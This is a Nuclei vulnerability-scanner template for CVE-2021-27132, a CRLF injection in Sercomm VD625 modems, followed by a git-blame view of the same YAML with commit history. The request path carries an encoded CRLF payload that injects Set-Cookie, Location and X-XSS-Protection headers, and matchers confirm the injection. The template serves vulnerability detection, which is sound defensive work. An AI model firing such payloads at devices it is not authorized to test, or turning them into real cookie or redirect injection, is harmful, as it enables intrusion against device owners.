nuclei-templates/cves/2021/CVE-2021-27132.yaml

id: CVE-2021-27132

info:
  name: CRLF Injection - Sercomm VD625
  author: geeknik
  severity: critical
  description: Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to CRLF Injection via the Content-Disposition header - https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132
  reference:
    - https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132
    - http://sercomm.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27132
    cwe-id: CWE-74
  tags: cve,cve2021,crlf,injection

requests:
  - method: GET
    path:
      - "{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20example.com%0d%0aX-XSS-Protection:0"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 404
        part: header

      - type: word
        words:
          - "Content-Disposition: attachment;filename=test.txt"
          - "Set-Cookie:CRLFInjection=Test"
          - "Location: example.com"
          - "X-XSS-Protection:0"
        part: header
        condition: and
Create CVE-2021-27132.yaml 2021-03-01 14:15:30 +00:00			`id: CVE-2021-27132`

			`info:`
Update CVE-2021-27132.yaml 2021-03-01 14:17:25 +00:00			`name: CRLF Injection - Sercomm VD625`
Create CVE-2021-27132.yaml 2021-03-01 14:15:30 +00:00			`author: geeknik`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`severity: critical`
Update CVE-2021-27132.yaml 2021-03-01 14:17:25 +00:00			`description: Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to CRLF Injection via the Content-Disposition header - https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132`
			`- http://sercomm.com`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 9.8`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-27132`
			`cwe-id: CWE-74`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2021,crlf,injection`
Create CVE-2021-27132.yaml 2021-03-01 14:15:30 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20example.com%0d%0aX-XSS-Protection:0"`

			`matchers-condition: and`
			`matchers:`
			`- type: status`
			`status:`
			`- 404`
			`part: header`

			`- type: word`
			`words:`
			`- "Content-Disposition: attachment;filename=test.txt"`
			`- "Set-Cookie:CRLFInjection=Test"`
			`- "Location: example.com"`
Update CVE-2021-27132.yaml omg typo 2021-03-01 20:34:15 +00:00			`- "X-XSS-Protection:0"`
Create CVE-2021-27132.yaml 2021-03-01 14:15:30 +00:00			`part: header`
			`condition: and`